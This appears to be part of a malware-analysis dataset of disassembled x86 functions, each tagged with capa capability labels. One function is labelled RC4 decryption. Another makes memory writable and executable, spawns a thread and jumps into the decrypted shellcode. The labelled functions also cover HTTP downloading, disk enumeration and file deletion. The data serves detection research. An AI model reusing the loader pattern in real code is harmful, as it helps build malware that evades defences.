joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x1c
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x46acb0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x43800
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x46a800
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x46a800
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4c1c94
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
test dl, dl
je 0x4c1ca3
add esp, 0xfffffff0
call fcn.0040415c
mov ebx, edx
mov edi, eax
xor edx, edx
mov eax, edi
call fcn.00403df4
mov dl, 1
mov eax, dword [0x4c1674]
call fcn.004c1944
mov dword [edi + 8], eax
mov dl, 1
mov eax, dword [0x4c16d4]
call fcn.004c1a8c
mov dword [edi + 0xc], eax
mov dl, 1
mov eax, dword [0x4c1730]
call fcn.004c1afc
mov dword [edi + 0x10], eax
mov dl, 1
mov eax, dword [0x4c178c]
call fcn.004c1b8c
mov dword [edi + 0x14], eax
mov dl, 1
mov eax, dword [0x4c17e8]
call fcn.004c1bfc
mov dword [edi + 0x18], eax
push 0x4c1da0
call sub.KERNEL32.DLL_LoadLibraryW
mov esi, eax
mov dword [edi + 4], esi
test esi, esi
je 0x4c1d83
push 0x4c1dbc
push esi
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 8]
mov dword [edx + 0x18], eax
push 0x4c1dcc
mov eax, dword [edi + 4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 0xc]
mov dword [edx + 0x18], eax
push 0x4c1ddc
mov eax, dword [edi + 4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 0x10]
mov dword [edx + 0x18], eax
push 0x4c1dec
mov eax, dword [edi + 4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 0x10]
mov dword [edx + 0x1c], eax
push 0x4c1df4
mov eax, dword [edi + 4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 0x14]
mov dword [edx + 4], eax
push 0x4c1e08
mov eax, dword [edi + 4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov edx, dword [edi + 0x18]
mov dword [edx + 4], eax
mov eax, edi
test bl, bl
je 0x4c1d98
call fcn.004041b4
pop dword fs:[0]
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x4c5604
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffdc
mov edi, eax
lea ebp, [esp + 4]
xor ebx, ebx
mov dword [edi + 0x2c], edi
mov dword [edi + 0x28], 0x4c39f0
mov eax, dword [edi + 0x28]
mov dword [esp], eax
lea eax, [edi + 0x2aa4]
push eax
push 0x20
push edi
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
mov dword [edi + 0x908], eax
push 1
lea eax, [esp + 0x14]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4c57dd
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0x1c]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4c57dd
mov dword [ebp], 0xc
lea eax, [esp + 0x10]
mov dword [ebp + 4], eax
mov dword [ebp + 8], 0xffffffff
push 0x4c57e8
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8d0], eax
push 0x4c5808
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8d4], eax
push 0x4c5824
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8d8], eax
push 0x4c5840
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8dc], eax
push 0x4c585c
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8e0], eax
push 0x4c5888
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8e4], eax
push 0x4c58a4
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8e8], eax
push 0x4c58b8
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8ec], eax
push 0x4c58cc
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8f0], eax
push 0x4c58e4
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8f4], eax
push 0x4c58fc
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8f8], eax
push 0x4c591c
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x8fc], eax
xor esi, esi
mov eax, dword [edi + esi*4 + 0x8d0]
push eax
call sub.KERNEL32.DLL_ResetEvent
inc esi
cmp esi, 0xc
jne 0x4c578c
push 0x4c593c
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x2a84], eax
push 0x4c5968
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0xb4], eax
push 0x4c5998
push 0
push 0
push ebp
call sub.KERNEL32.DLL_CreateEventA
mov dword [edi + 0x30], eax
mov bl, 1
mov eax, ebx
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4d2714
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push ebx
xor ebx, ebx
mov dword [ebp - 0x818], ebx
mov dword [ebp - 0x14], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004051f4
xor eax, eax
push ebp
push 0x4d281e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x4d282c
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4d27eb
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405204
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4d27e2
lea eax, [ebp - 0x10]
push eax
push 0x7ff
lea eax, [ebp - 0x814]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x4d27d9
cmp dword [ebp - 0x10], 0
jbe 0x4d27d3
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x814], 0
lea edx, [ebp - 0x818]
lea eax, [ebp - 0x814]
call fcn.0040addc
mov edx, dword [ebp - 0x818]
lea eax, [ebp - 0x14]
call fcn.0040500c
cmp dword [ebp - 0x10], 0
jne 0x4d2786
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00404d88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d2825
lea eax, [ebp - 0x818]
call fcn.00404d34
lea eax, [ebp - 0x14]
call fcn.00404d34
lea eax, [ebp - 4]
call fcn.00404d34
ret

Function at 0x4d3040
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
lea eax, [ebp - 4]
call fcn.00405a78
xor eax, eax
push ebp
push 0x4d3126
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040548c
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.0046e344
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 4]
call fcn.004054ec
push 0
push 0x8000000
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, 0x4d3138
call fcn.00405734
mov eax, dword [ebp - 0x1c]
call fcn.004056b8
push eax
call sub.KERNEL32.DLL_CreateFileW_1
cmp eax, 0xffffffff
je 0x4d3103
push 0
lea edx, [ebp - 8]
push edx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0
push 0
push 0x2d1080
push eax
call sub.KERNEL32.DLL_DeviceIoControl_1
mov esi, dword [ebp - 0xc]
test esi, esi
jl 0x4d3103
push ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x2c]
mov ecx, 1
mov eax, 0x4d3148
call fcn.0040b900
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d312d
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004054a4
lea eax, [ebp - 4]
call fcn.0040548c
ret
Function at 0x4d325c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x210], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4d333d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20a]
mov edx, 0x20a
call fcn.0046bad8
push 0x20a
lea eax, [ebp - 0x20a]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryW_1
mov eax, ebx
call fcn.004d3220
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
lea eax, [eax + edx*8 - 8]
mov edx, 0x4d3350
call fcn.004054c8
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
lea eax, [eax + edx*8 - 4]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.00405620
mov eax, dword [ebx + 4]
mov esi, dword [ebx + 8]
lea eax, [eax + esi*8 - 4]
mov edx, 0x4d3370
call fcn.004056d4
mov eax, ebx
call fcn.004d3220
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
lea eax, [eax + edx*8 - 8]
mov edx, 0x4d3378
call fcn.004054c8
lea eax, [ebp - 0x210]
call fcn.0046dd68
mov edx, dword [ebp - 0x210]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 8]
lea eax, [eax + ecx*8 - 4]
call fcn.004054c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3344
lea eax, [ebp - 0x210]
call fcn.0040548c
ret

Function at 0x4d33c8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov edi, edx
xor eax, eax
push ebp
push 0x4d3482
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x105
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x4d33a0]
call fcn.004066a4
add esp, 4
mov eax, dword [ebp - 4]
call fcn.0040548c
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push edi
call sub.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x4d343b
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.004055e4
jmp 0x4d3466
call sub.KERNEL32.DLL_GetLastError_2
mov esi, eax
cmp esi, 0xea
jne 0x4d3466
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x4d33a0]
call fcn.004066a4
add esp, 4
jmp 0x4d3412
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3489
lea eax, [ebp - 0xc]
mov edx, dword [0x4d33a0]
call fcn.004067d0
ret
Function at 0x4d3490
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x4d3499
mov eax, dword [ebp - 4]
add esp, 0xffffffe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x4024], edx
mov dword [ebp - 0x401c], edx
mov dword [ebp - 0x4020], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea edi, [ebp - 0x4018]
xor eax, eax
push ebp
push 0x4d3658
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
xor ecx, ecx
mov edx, 0x2002
call fcn.00403638
lea eax, [ebp - 0x2016]
xor ecx, ecx
mov edx, 0x2002
call fcn.00403638
push 0x1001
push edi
call sub.KERNEL32.DLL_FindFirstVolumeW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4d3632
lea eax, [ebp - 0x14]
mov edx, edi
mov ecx, 0x1001
call fcn.00405620
mov eax, dword [ebp - 0x14]
call fcn.004056c8
mov esi, eax
dec esi
cmp word [edi], 0x5c
jne 0x4d3629
cmp word [edi + 2], 0x5c
jne 0x4d3629
cmp word [edi + 4], 0x3f
jne 0x4d3629
cmp word [edi + 6], 0x5c
jne 0x4d3629
cmp word [edi + esi*2], 0x5c
jne 0x4d3629
mov word [edi + esi*2], 0
push 0x1001
lea eax, [ebp - 0x2016]
push eax
lea eax, [edi + 8]
push eax
call sub.KERNEL32.DLL_QueryDosDeviceW_1
mov dword [ebp - 4], eax
mov word [edi + esi*2], 0x5c
cmp dword [ebp - 4], 0
je 0x4d3629
mov eax, ebx
call fcn.004d3220
lea eax, [ebp - 0x4020]
lea edx, [ebp - 0x2016]
mov ecx, 0x1001
call fcn.00405620
mov eax, dword [ebp - 0x4020]
lea edx, [ebp - 0x401c]
call fcn.00409cfc
mov edx, dword [ebp - 0x401c]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 8]
lea eax, [eax + ecx*8 - 8]
mov ecx, 0x4d366c
call fcn.00405734
lea ecx, [ebp - 0x4024]
mov edx, edi
mov eax, ebx
call fcn.004d33c8
mov edx, dword [ebp - 0x4024]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 8]
lea eax, [eax + ecx*8 - 4]
call fcn.004054c8
push 0x1001
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_FindNextVolumeW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
jne 0x4d3511
call sub.KERNEL32.DLL_GetLastError_2
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_FindVolumeClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d365f
lea eax, [ebp - 0x4024]
mov edx, 3
call fcn.004054a4
lea eax, [ebp - 0x14]
call fcn.0040548c
ret

Function at 0x4d9f2c
Capabilities:
Query service status

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov esi, edx
xor edi, edi
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerW
mov ebx, eax
test ebx, ebx
je 0x4d9f7a
push 0xf01ff
mov eax, esi
call fcn.004056b8
push eax
push ebx
call sub.advapi32.dll_OpenServiceW
mov esi, eax
test esi, esi
je 0x4d9f74
push esp
push esi
call sub.advapi32.dll_QueryServiceStatus
mov edi, dword [esp + 4]
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
mov eax, edi
add esp, 0x1c
pop edi
pop esi
pop ebx
ret
Function at 0x4e5d74
Capabilities:
Parse pe header

Disassembly:
push ebx
push ecx
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push 0x40
push ebx
call sub.KERNEL32.DLL_IsBadReadPtr
test eax, eax
jne 0x4e5dc3
mov eax, ebx
cmp word [eax], 0x5a4d
jne 0x4e5dc3
cmp dword [eax + 0x3c], 0
je 0x4e5dc3
mov eax, dword [eax + 0x3c]
add eax, ebx
mov dword [esp], eax
push 0xf8
mov eax, dword [esp + 4]
push eax
call sub.KERNEL32.DLL_IsBadReadPtr
test eax, eax
jne 0x4e5dbe
mov eax, dword [esp]
cmp dword [eax], 0x4550
je 0x4e5dc3
xor eax, eax
mov dword [esp], eax
mov eax, dword [esp]
pop edx
pop ebx
ret
Function at 0x100b47bc
Capabilities:
Print debug messages

Disassembly:
jmp 0x1014e1d9
push esi
mov esi, ecx
call fcn.100b4d89
mov eax, 0x10000000
mov dword [esi], 0x38
lea ecx, [esi + 0x14]
mov dword [esi + 8], eax
mov dword [esi + 4], eax
mov dword [esi + 0xc], 0xe00
mov dword [esi + 0x10], 0x1022f84c
call fcn.100b1558
test eax, eax
jns 0x1014e228
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1014e221
push str.ERROR_:_Unable_to_initialize_critical_section_in_CAtlBaseModule_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [0x10272e60], 1
mov eax, esi
pop esi
ret

Function at 0x100ea12c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x10]
mov ecx, 4
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov ecx, 0x1027a6e2
call fcn.100b4b5e
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0xd0]
sub ecx, 2
mov dword [ebp - 0xd0], ecx
cmp dword [ebp - 0xd0], 0xd
ja case.0x100ea111.4
mov edx, dword [ebp - 0xd0]
jmp dword [edx*4 + 0x100ea238]
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b272d
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.100b3029
push 0x6c
mov ecx, dword [ebp - 8]
call fcn.100b4bc7
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b2a0c
push 0x6c
mov ecx, dword [ebp - 8]
call fcn.100b4bc7
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100afe97
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b2fcf
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b4eba
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100af3d9
jmp case.0x100ea111.4
mov ecx, dword [ebp - 8]
call fcn.100b199f
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b4df2
jmp case.0x100ea111.4
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b2ae3
jmp case.0x100ea111.4
mov eax, dword [ebp + 0xc]
sub eax, 1
push eax
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
mov ecx, dword [ebp - 8]
call fcn.100b563a
jmp case.0x100ea111.4
push 5
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b3b69
jmp case.0x100ea111.4
push 0
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.100b3b69
pop edi
pop esi
pop ebx
add esp, 0xd0
cmp ebp, esp
call fcn.100b3029
mov esp, ebp
pop ebp
ret 8
Function at 0x101e1a90
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.100b00b8
mov eax, dword [0x1026e0c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x102755c8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x101e1c68
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x101e1bb7
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x101e1bb7
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x101e1b95
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x101e1b19
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x101e1c21
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x101e1c88
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x101e1c63
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x101e1c88
jmp 0x101e1af2
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100b16e8
mov esp, ebp
pop ebp
ret